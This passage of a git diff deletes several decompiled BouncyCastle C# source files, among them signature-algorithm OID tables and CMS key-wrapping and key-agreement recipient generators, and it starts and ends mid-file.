algorithms["SHA256WITHCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_256; - algorithms["SHA384WITHCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_384; - algorithms["SHA512WITHCVC-ECDSA"] = EacObjectIdentifiers.id_TA_ECDSA_SHA_512; - algorithms["SHA3-512WITHSPHINCS256"] = BCObjectIdentifiers.sphincs256_with_SHA3_512; - algorithms["SHA512WITHSPHINCS256"] = BCObjectIdentifiers.sphincs256_with_SHA512; - algorithms["SM3WITHSM2"] = GMObjectIdentifiers.sm2sign_with_sm3; - algorithms["SHA256WITHXMSS"] = BCObjectIdentifiers.xmss_with_SHA256; - algorithms["SHA512WITHXMSS"] = BCObjectIdentifiers.xmss_with_SHA512; - algorithms["SHAKE128WITHXMSS"] = BCObjectIdentifiers.xmss_with_SHAKE128; - algorithms["SHAKE256WITHXMSS"] = BCObjectIdentifiers.xmss_with_SHAKE256; - algorithms["SHA256WITHXMSSMT"] = BCObjectIdentifiers.xmss_mt_with_SHA256; - algorithms["SHA512WITHXMSSMT"] = BCObjectIdentifiers.xmss_mt_with_SHA512; - algorithms["SHAKE128WITHXMSSMT"] = BCObjectIdentifiers.xmss_mt_with_SHAKE128; - algorithms["SHAKE256WITHXMSSMT"] = BCObjectIdentifiers.xmss_mt_with_SHAKE256; - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha1); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha224); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha256); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha384); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha512); - noParams.Add(X9ObjectIdentifiers.IdDsaWithSha1); - noParams.Add(NistObjectIdentifiers.DsaWithSha224); - noParams.Add(NistObjectIdentifiers.DsaWithSha256); - noParams.Add(NistObjectIdentifiers.DsaWithSha384); - noParams.Add(NistObjectIdentifiers.DsaWithSha512); - noParams.Add(NistObjectIdentifiers.IdDsaWithSha3_224); - noParams.Add(NistObjectIdentifiers.IdDsaWithSha3_256); - noParams.Add(NistObjectIdentifiers.IdDsaWithSha3_384); - noParams.Add(NistObjectIdentifiers.IdDsaWithSha3_512); - noParams.Add(NistObjectIdentifiers.IdEcdsaWithSha3_224); - noParams.Add(NistObjectIdentifiers.IdEcdsaWithSha3_256); - noParams.Add(NistObjectIdentifiers.IdEcdsaWithSha3_384); - noParams.Add(NistObjectIdentifiers.IdEcdsaWithSha3_512); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - noParams.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001); - noParams.Add(RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256); - noParams.Add(RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512); - noParams.Add(BCObjectIdentifiers.sphincs256_with_SHA512); - noParams.Add(BCObjectIdentifiers.sphincs256_with_SHA3_512); - noParams.Add(BCObjectIdentifiers.xmss_with_SHA256); - noParams.Add(BCObjectIdentifiers.xmss_with_SHA512); - noParams.Add(BCObjectIdentifiers.xmss_with_SHAKE128); - noParams.Add(BCObjectIdentifiers.xmss_with_SHAKE256); - noParams.Add(BCObjectIdentifiers.xmss_mt_with_SHA256); - noParams.Add(BCObjectIdentifiers.xmss_mt_with_SHA512); - noParams.Add(BCObjectIdentifiers.xmss_mt_with_SHAKE128); - noParams.Add(BCObjectIdentifiers.xmss_mt_with_SHAKE256); - noParams.Add(GMObjectIdentifiers.sm2sign_with_sm3); - pkcs15RsaEncryption.Add(PkcsObjectIdentifiers.Sha1WithRsaEncryption); - pkcs15RsaEncryption.Add(PkcsObjectIdentifiers.Sha224WithRsaEncryption); - pkcs15RsaEncryption.Add(PkcsObjectIdentifiers.Sha256WithRsaEncryption); - pkcs15RsaEncryption.Add(PkcsObjectIdentifiers.Sha384WithRsaEncryption); - pkcs15RsaEncryption.Add(PkcsObjectIdentifiers.Sha512WithRsaEncryption); - pkcs15RsaEncryption.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - pkcs15RsaEncryption.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - pkcs15RsaEncryption.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - pkcs15RsaEncryption.Add(NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_224); - pkcs15RsaEncryption.Add(NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_256); - pkcs15RsaEncryption.Add(NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_384); - pkcs15RsaEncryption.Add(NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_512); - AlgorithmIdentifier hashAlgId = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - _params["SHA1WITHRSAANDMGF1"] = CreatePssParams(hashAlgId, 20); - AlgorithmIdentifier hashAlgId2 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha224, DerNull.Instance); - _params["SHA224WITHRSAANDMGF1"] = CreatePssParams(hashAlgId2, 28); - AlgorithmIdentifier hashAlgId3 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha256, DerNull.Instance); - _params["SHA256WITHRSAANDMGF1"] = CreatePssParams(hashAlgId3, 32); - AlgorithmIdentifier hashAlgId4 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha384, DerNull.Instance); - _params["SHA384WITHRSAANDMGF1"] = CreatePssParams(hashAlgId4, 48); - AlgorithmIdentifier hashAlgId5 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha512, DerNull.Instance); - _params["SHA512WITHRSAANDMGF1"] = CreatePssParams(hashAlgId5, 64); - AlgorithmIdentifier hashAlgId6 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha3_224, DerNull.Instance); - _params["SHA3-224WITHRSAANDMGF1"] = CreatePssParams(hashAlgId6, 28); - AlgorithmIdentifier hashAlgId7 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha3_256, DerNull.Instance); - _params["SHA3-256WITHRSAANDMGF1"] = CreatePssParams(hashAlgId7, 32); - AlgorithmIdentifier hashAlgId8 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha3_384, DerNull.Instance); - _params["SHA3-384WITHRSAANDMGF1"] = CreatePssParams(hashAlgId8, 48); - AlgorithmIdentifier hashAlgId9 = new AlgorithmIdentifier(NistObjectIdentifiers.IdSha3_512, DerNull.Instance); - _params["SHA3-512WITHRSAANDMGF1"] = CreatePssParams(hashAlgId9, 64); - digestOids[PkcsObjectIdentifiers.Sha224WithRsaEncryption] = NistObjectIdentifiers.IdSha224; - digestOids[PkcsObjectIdentifiers.Sha256WithRsaEncryption] = NistObjectIdentifiers.IdSha256; - digestOids[PkcsObjectIdentifiers.Sha384WithRsaEncryption] = NistObjectIdentifiers.IdSha384; - digestOids[PkcsObjectIdentifiers.Sha512WithRsaEncryption] = NistObjectIdentifiers.IdSha512; - digestOids[NistObjectIdentifiers.DsaWithSha224] = NistObjectIdentifiers.IdSha224; - digestOids[NistObjectIdentifiers.DsaWithSha224] = NistObjectIdentifiers.IdSha256; - digestOids[NistObjectIdentifiers.DsaWithSha224] = NistObjectIdentifiers.IdSha384; - digestOids[NistObjectIdentifiers.DsaWithSha224] = NistObjectIdentifiers.IdSha512; - digestOids[NistObjectIdentifiers.IdDsaWithSha3_224] = NistObjectIdentifiers.IdSha3_224; - digestOids[NistObjectIdentifiers.IdDsaWithSha3_256] = NistObjectIdentifiers.IdSha3_256; - digestOids[NistObjectIdentifiers.IdDsaWithSha3_384] = NistObjectIdentifiers.IdSha3_384; - digestOids[NistObjectIdentifiers.IdDsaWithSha3_512] = NistObjectIdentifiers.IdSha3_512; - digestOids[NistObjectIdentifiers.IdEcdsaWithSha3_224] = NistObjectIdentifiers.IdSha3_224; - digestOids[NistObjectIdentifiers.IdEcdsaWithSha3_256] = NistObjectIdentifiers.IdSha3_256; - digestOids[NistObjectIdentifiers.IdEcdsaWithSha3_384] = NistObjectIdentifiers.IdSha3_384; - digestOids[NistObjectIdentifiers.IdEcdsaWithSha3_512] = NistObjectIdentifiers.IdSha3_512; - digestOids[NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_224] = NistObjectIdentifiers.IdSha3_224; - digestOids[NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_256] = NistObjectIdentifiers.IdSha3_256; - digestOids[NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_384] = NistObjectIdentifiers.IdSha3_384; - digestOids[NistObjectIdentifiers.IdRsassaPkcs1V15WithSha3_512] = NistObjectIdentifiers.IdSha3_512; - digestOids[PkcsObjectIdentifiers.MD2WithRsaEncryption] = PkcsObjectIdentifiers.MD2; - digestOids[PkcsObjectIdentifiers.MD4WithRsaEncryption] = PkcsObjectIdentifiers.MD4; - digestOids[PkcsObjectIdentifiers.MD5WithRsaEncryption] = PkcsObjectIdentifiers.MD5; - digestOids[PkcsObjectIdentifiers.Sha1WithRsaEncryption] = OiwObjectIdentifiers.IdSha1; - digestOids[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128] = TeleTrusTObjectIdentifiers.RipeMD128; - digestOids[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160] = TeleTrusTObjectIdentifiers.RipeMD160; - digestOids[TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256] = TeleTrusTObjectIdentifiers.RipeMD256; - digestOids[CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94] = CryptoProObjectIdentifiers.GostR3411; - digestOids[CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x2001] = CryptoProObjectIdentifiers.GostR3411; - digestOids[RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_256] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_256; - digestOids[RosstandartObjectIdentifiers.id_tc26_signwithdigest_gost_3410_12_512] = RosstandartObjectIdentifiers.id_tc26_gost_3411_12_512; - digestOids[GMObjectIdentifiers.sm2sign_with_sm3] = GMObjectIdentifiers.sm3; - } - - private static AlgorithmIdentifier Generate(string signatureAlgorithm) - { - string text = Strings.ToUpperCase(signatureAlgorithm); - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)algorithms[text]; - if (derObjectIdentifier == null) - { - throw new ArgumentException("Unknown signature type requested: " + text); - } - AlgorithmIdentifier algorithmIdentifier = (noParams.Contains(derObjectIdentifier) ? new AlgorithmIdentifier(derObjectIdentifier) : ((!_params.Contains(text)) ? new AlgorithmIdentifier(derObjectIdentifier, DerNull.Instance) : new AlgorithmIdentifier(derObjectIdentifier, (Asn1Encodable)_params[text]))); - if (pkcs15RsaEncryption.Contains(derObjectIdentifier)) - { - new AlgorithmIdentifier(PkcsObjectIdentifiers.RsaEncryption, DerNull.Instance); - } - if (algorithmIdentifier.Algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - _ = ((RsassaPssParameters)algorithmIdentifier.Parameters).HashAlgorithm; - } - else - { - new AlgorithmIdentifier((DerObjectIdentifier)digestOids[derObjectIdentifier], DerNull.Instance); - } - return algorithmIdentifier; - } - - private static RsassaPssParameters CreatePssParams(AlgorithmIdentifier hashAlgId, int saltSize) - { - return new RsassaPssParameters(hashAlgId, new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, hashAlgId), new DerInteger(saltSize), new DerInteger(1)); - } - - public AlgorithmIdentifier Find(string sigAlgName) - { - return Generate(sigAlgName); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignedAttributeTableGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignedAttributeTableGenerator.cs deleted file mode 100644 index e869081..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/DefaultSignedAttributeTableGenerator.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class DefaultSignedAttributeTableGenerator : CmsAttributeTableGenerator -{ - private readonly IDictionary table; - - public DefaultSignedAttributeTableGenerator() - { - table = Platform.CreateHashtable(); - } - - public DefaultSignedAttributeTableGenerator(AttributeTable attributeTable) - { - if (attributeTable != null) - { - table = attributeTable.ToDictionary(); - } - else - { - table = Platform.CreateHashtable(); - } - } - - protected virtual Hashtable createStandardAttributeTable(IDictionary parameters) - { - Hashtable hashtable = new Hashtable(table); - DoCreateStandardAttributeTable(parameters, hashtable); - return hashtable; - } - - private void DoCreateStandardAttributeTable(IDictionary parameters, IDictionary std) - { - if (parameters.Contains(CmsAttributeTableParameter.ContentType) && !std.Contains(CmsAttributes.ContentType)) - { - DerObjectIdentifier obj = (DerObjectIdentifier)parameters[CmsAttributeTableParameter.ContentType]; - Org.BouncyCastle.Asn1.Cms.Attribute attribute = new Org.BouncyCastle.Asn1.Cms.Attribute(CmsAttributes.ContentType, new DerSet(obj)); - std[attribute.AttrType] = attribute; - } - if (!std.Contains(CmsAttributes.SigningTime)) - { - Org.BouncyCastle.Asn1.Cms.Attribute attribute2 = new Org.BouncyCastle.Asn1.Cms.Attribute(CmsAttributes.SigningTime, new DerSet(new Time(DateTime.UtcNow))); - std[attribute2.AttrType] = attribute2; - } - if (!std.Contains(CmsAttributes.MessageDigest)) - { - byte[] str = (byte[])parameters[CmsAttributeTableParameter.Digest]; - Org.BouncyCastle.Asn1.Cms.Attribute attribute3 = new Org.BouncyCastle.Asn1.Cms.Attribute(CmsAttributes.MessageDigest, new DerSet(new DerOctetString(str))); - std[attribute3.AttrType] = attribute3; - } - } - - public virtual AttributeTable GetAttributes(IDictionary parameters) - { - IDictionary attrs = createStandardAttributeTable(parameters); - return new AttributeTable(attrs); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/EnvelopedDataHelper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/EnvelopedDataHelper.cs deleted file mode 100644 index 05a26db..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/EnvelopedDataHelper.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -internal class EnvelopedDataHelper -{ - private static readonly IDictionary BaseCipherNames; - - private static readonly IDictionary MacAlgNames; - - static EnvelopedDataHelper() - { - BaseCipherNames = Platform.CreateHashtable(); - MacAlgNames = Platform.CreateHashtable(); - BaseCipherNames.Add(PkcsObjectIdentifiers.DesEde3Cbc, "DESEDE"); - BaseCipherNames.Add(NistObjectIdentifiers.IdAes128Cbc, "AES"); - BaseCipherNames.Add(NistObjectIdentifiers.IdAes192Cbc, "AES"); - BaseCipherNames.Add(NistObjectIdentifiers.IdAes256Cbc, "AES"); - MacAlgNames.Add(PkcsObjectIdentifiers.DesEde3Cbc, "DESEDEMac"); - MacAlgNames.Add(NistObjectIdentifiers.IdAes128Cbc, "AESMac"); - MacAlgNames.Add(NistObjectIdentifiers.IdAes192Cbc, "AESMac"); - MacAlgNames.Add(NistObjectIdentifiers.IdAes256Cbc, "AESMac"); - MacAlgNames.Add(PkcsObjectIdentifiers.RC2Cbc, "RC2Mac"); - } - - public static object CreateContentCipher(bool forEncryption, ICipherParameters encKey, AlgorithmIdentifier encryptionAlgID) - { - return CipherFactory.CreateContentCipher(forEncryption, encKey, encryptionAlgID); - } - - public AlgorithmIdentifier GenerateEncryptionAlgID(DerObjectIdentifier encryptionOID, KeyParameter encKey, SecureRandom random) - { - return AlgorithmIdentifierFactory.GenerateEncryptionAlgID(encryptionOID, encKey.GetKey().Length * 8, random); - } - - public CipherKeyGenerator CreateKeyGenerator(DerObjectIdentifier algorithm, SecureRandom random) - { - return CipherKeyGeneratorFactory.CreateKeyGenerator(algorithm, random); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/IDigestCalculator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/IDigestCalculator.cs deleted file mode 100644 index 07ba0dc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/IDigestCalculator.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Cms; - -internal interface IDigestCalculator -{ - byte[] GetDigest(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/ISignerInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/ISignerInfoGenerator.cs deleted file mode 100644 index ec6bf94..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/ISignerInfoGenerator.cs +++ /dev/null @@ -1,10 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Cms; - -internal interface ISignerInfoGenerator -{ - SignerInfo Generate(DerObjectIdentifier contentType, AlgorithmIdentifier digestAlgorithm, byte[] calculatedDigest); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInfoGenerator.cs deleted file mode 100644 index 91956ac..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInfoGenerator.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -internal class KekRecipientInfoGenerator : RecipientInfoGenerator -{ - private static readonly CmsEnvelopedHelper Helper = CmsEnvelopedHelper.Instance; - - private KeyParameter keyEncryptionKey; - - private string keyEncryptionKeyOID; - - private KekIdentifier kekIdentifier; - - private AlgorithmIdentifier keyEncryptionAlgorithm; - - internal KekIdentifier KekIdentifier - { - set - { - kekIdentifier = value; - } - } - - internal KeyParameter KeyEncryptionKey - { - set - { - keyEncryptionKey = value; - keyEncryptionAlgorithm = DetermineKeyEncAlg(keyEncryptionKeyOID, keyEncryptionKey); - } - } - - internal string KeyEncryptionKeyOID - { - set - { - keyEncryptionKeyOID = value; - } - } - - internal KekRecipientInfoGenerator() - { - } - - public RecipientInfo Generate(KeyParameter contentEncryptionKey, SecureRandom random) - { - byte[] key = contentEncryptionKey.GetKey(); - IWrapper wrapper = Helper.CreateWrapper(keyEncryptionAlgorithm.Algorithm.Id); - wrapper.Init(forWrapping: true, new ParametersWithRandom(keyEncryptionKey, random)); - Asn1OctetString encryptedKey = new DerOctetString(wrapper.Wrap(key, 0, key.Length)); - return new RecipientInfo(new KekRecipientInfo(kekIdentifier, keyEncryptionAlgorithm, encryptedKey)); - } - - private static AlgorithmIdentifier DetermineKeyEncAlg(string algorithm, KeyParameter key) - { - if (Platform.StartsWith(algorithm, "DES")) - { - return new AlgorithmIdentifier(PkcsObjectIdentifiers.IdAlgCms3DesWrap, DerNull.Instance); - } - if (Platform.StartsWith(algorithm, "RC2")) - { - return new AlgorithmIdentifier(PkcsObjectIdentifiers.IdAlgCmsRC2Wrap, new DerInteger(58)); - } - if (Platform.StartsWith(algorithm, "AES")) - { - return new AlgorithmIdentifier((key.GetKey().Length * 8) switch - { - 128 => NistObjectIdentifiers.IdAes128Wrap, - 192 => NistObjectIdentifiers.IdAes192Wrap, - 256 => NistObjectIdentifiers.IdAes256Wrap, - _ => throw new ArgumentException("illegal keysize in AES"), - }); - } - if (Platform.StartsWith(algorithm, "SEED")) - { - return new AlgorithmIdentifier(KisaObjectIdentifiers.IdNpkiAppCmsSeedWrap); - } - if (Platform.StartsWith(algorithm, "CAMELLIA")) - { - return new AlgorithmIdentifier((key.GetKey().Length * 8) switch - { - 128 => NttObjectIdentifiers.IdCamellia128Wrap, - 192 => NttObjectIdentifiers.IdCamellia192Wrap, - 256 => NttObjectIdentifiers.IdCamellia256Wrap, - _ => throw new ArgumentException("illegal keysize in Camellia"), - }); - } - throw new ArgumentException("unknown algorithm"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInformation.cs deleted file mode 100644 index 145096a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KekRecipientInformation.cs +++ /dev/null @@ -1,40 +0,0 @@ -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public class KekRecipientInformation : RecipientInformation -{ - private KekRecipientInfo info; - - internal KekRecipientInformation(KekRecipientInfo info, CmsSecureReadable secureReadable) - : base(info.KeyEncryptionAlgorithm, secureReadable) - { - this.info = info; - rid = new RecipientID(); - KekIdentifier kekID = info.KekID; - rid.KeyIdentifier = kekID.KeyIdentifier.GetOctets(); - } - - public override CmsTypedStream GetContentStream(ICipherParameters key) - { - try - { - byte[] octets = info.EncryptedKey.GetOctets(); - IWrapper wrapper = WrapperUtilities.GetWrapper(keyEncAlg.Algorithm.Id); - wrapper.Init(forWrapping: false, key); - KeyParameter sKey = ParameterUtilities.CreateKeyParameter(GetContentAlgorithmName(), wrapper.Unwrap(octets, 0, octets.Length)); - return GetContentFromSessionKey(sKey); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInfoGenerator.cs deleted file mode 100644 index db3a5b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInfoGenerator.cs +++ /dev/null @@ -1,141 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Cms.Ecc; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -internal class KeyAgreeRecipientInfoGenerator : RecipientInfoGenerator -{ - private static readonly CmsEnvelopedHelper Helper = CmsEnvelopedHelper.Instance; - - private DerObjectIdentifier keyAgreementOID; - - private DerObjectIdentifier keyEncryptionOID; - - private IList recipientCerts; - - private AsymmetricCipherKeyPair senderKeyPair; - - internal DerObjectIdentifier KeyAgreementOID - { - set - { - keyAgreementOID = value; - } - } - - internal DerObjectIdentifier KeyEncryptionOID - { - set - { - keyEncryptionOID = value; - } - } - - internal ICollection RecipientCerts - { - set - { - recipientCerts = Platform.CreateArrayList(value); - } - } - - internal AsymmetricCipherKeyPair SenderKeyPair - { - set - { - senderKeyPair = value; - } - } - - internal KeyAgreeRecipientInfoGenerator() - { - } - - public RecipientInfo Generate(KeyParameter contentEncryptionKey, SecureRandom random) - { - byte[] key = contentEncryptionKey.GetKey(); - AsymmetricKeyParameter asymmetricKeyParameter = senderKeyPair.Public; - ICipherParameters cipherParameters = senderKeyPair.Private; - OriginatorIdentifierOrKey originator; - try - { - originator = new OriginatorIdentifierOrKey(CreateOriginatorPublicKey(asymmetricKeyParameter)); - } - catch (IOException ex) - { - throw new InvalidKeyException("cannot extract originator public key: " + ex); - } - Asn1OctetString ukm = null; - if (keyAgreementOID.Id.Equals(CmsEnvelopedGenerator.ECMqvSha1Kdf)) - { - try - { - IAsymmetricCipherKeyPairGenerator keyPairGenerator = GeneratorUtilities.GetKeyPairGenerator(keyAgreementOID); - keyPairGenerator.Init(((ECPublicKeyParameters)asymmetricKeyParameter).CreateKeyGenerationParameters(random)); - AsymmetricCipherKeyPair asymmetricCipherKeyPair = keyPairGenerator.GenerateKeyPair(); - ukm = new DerOctetString(new MQVuserKeyingMaterial(CreateOriginatorPublicKey(asymmetricCipherKeyPair.Public), null)); - cipherParameters = new MqvPrivateParameters((ECPrivateKeyParameters)cipherParameters, (ECPrivateKeyParameters)asymmetricCipherKeyPair.Private, (ECPublicKeyParameters)asymmetricCipherKeyPair.Public); - } - catch (IOException ex2) - { - throw new InvalidKeyException("cannot extract MQV ephemeral public key: " + ex2); - } - catch (SecurityUtilityException ex3) - { - throw new InvalidKeyException("cannot determine MQV ephemeral key pair parameters from public key: " + ex3); - } - } - DerSequence parameters = new DerSequence(keyEncryptionOID, DerNull.Instance); - AlgorithmIdentifier keyEncryptionAlgorithm = new AlgorithmIdentifier(keyAgreementOID, parameters); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (X509Certificate recipientCert in recipientCerts) - { - TbsCertificateStructure instance; - try - { - instance = TbsCertificateStructure.GetInstance(Asn1Object.FromByteArray(recipientCert.GetTbsCertificate())); - } - catch (Exception) - { - throw new ArgumentException("can't extract TBS structure from certificate"); - } - IssuerAndSerialNumber issuerSerial = new IssuerAndSerialNumber(instance.Issuer, instance.SerialNumber.Value); - KeyAgreeRecipientIdentifier id = new KeyAgreeRecipientIdentifier(issuerSerial); - ICipherParameters cipherParameters2 = recipientCert.GetPublicKey(); - if (keyAgreementOID.Id.Equals(CmsEnvelopedGenerator.ECMqvSha1Kdf)) - { - cipherParameters2 = new MqvPublicParameters((ECPublicKeyParameters)cipherParameters2, (ECPublicKeyParameters)cipherParameters2); - } - IBasicAgreement basicAgreementWithKdf = AgreementUtilities.GetBasicAgreementWithKdf(keyAgreementOID, keyEncryptionOID.Id); - basicAgreementWithKdf.Init(new ParametersWithRandom(cipherParameters, random)); - BigInteger s = basicAgreementWithKdf.CalculateAgreement(cipherParameters2); - int qLength = GeneratorUtilities.GetDefaultKeySize(keyEncryptionOID) / 8; - byte[] keyBytes = X9IntegerConverter.IntegerToBytes(s, qLength); - KeyParameter parameters2 = ParameterUtilities.CreateKeyParameter(keyEncryptionOID, keyBytes); - IWrapper wrapper = Helper.CreateWrapper(keyEncryptionOID.Id); - wrapper.Init(forWrapping: true, new ParametersWithRandom(parameters2, random)); - byte[] str = wrapper.Wrap(key, 0, key.Length); - Asn1OctetString encryptedKey = new DerOctetString(str); - asn1EncodableVector.Add(new RecipientEncryptedKey(id, encryptedKey)); - } - return new RecipientInfo(new KeyAgreeRecipientInfo(originator, ukm, keyEncryptionAlgorithm, new DerSequence(asn1EncodableVector))); - } - - private static OriginatorPublicKey CreateOriginatorPublicKey(AsymmetricKeyParameter publicKey) - { - SubjectPublicKeyInfo subjectPublicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey); - return new OriginatorPublicKey(new AlgorithmIdentifier(subjectPublicKeyInfo.AlgorithmID.Algorithm, DerNull.Instance), subjectPublicKeyInfo.PublicKeyData.GetBytes()); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInformation.cs deleted file mode 100644 index 4a66170..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyAgreeRecipientInformation.cs +++ /dev/null @@ -1,162 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Cms.Ecc; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public class KeyAgreeRecipientInformation : RecipientInformation -{ - private KeyAgreeRecipientInfo info; - - private Asn1OctetString encryptedKey; - - internal static void ReadRecipientInfo(IList infos, KeyAgreeRecipientInfo info, CmsSecureReadable secureReadable) - { - try - { - foreach (Asn1Encodable recipientEncryptedKey in info.RecipientEncryptedKeys) - { - RecipientEncryptedKey instance = RecipientEncryptedKey.GetInstance(recipientEncryptedKey.ToAsn1Object()); - RecipientID recipientID = new RecipientID(); - KeyAgreeRecipientIdentifier identifier = instance.Identifier; - Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber issuerAndSerialNumber = identifier.IssuerAndSerialNumber; - if (issuerAndSerialNumber != null) - { - recipientID.Issuer = issuerAndSerialNumber.Name; - 